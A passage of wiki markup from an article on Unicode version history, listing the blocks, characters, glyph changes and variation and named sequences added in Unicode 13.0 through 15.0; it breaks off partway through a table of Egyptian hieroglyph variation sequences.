* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
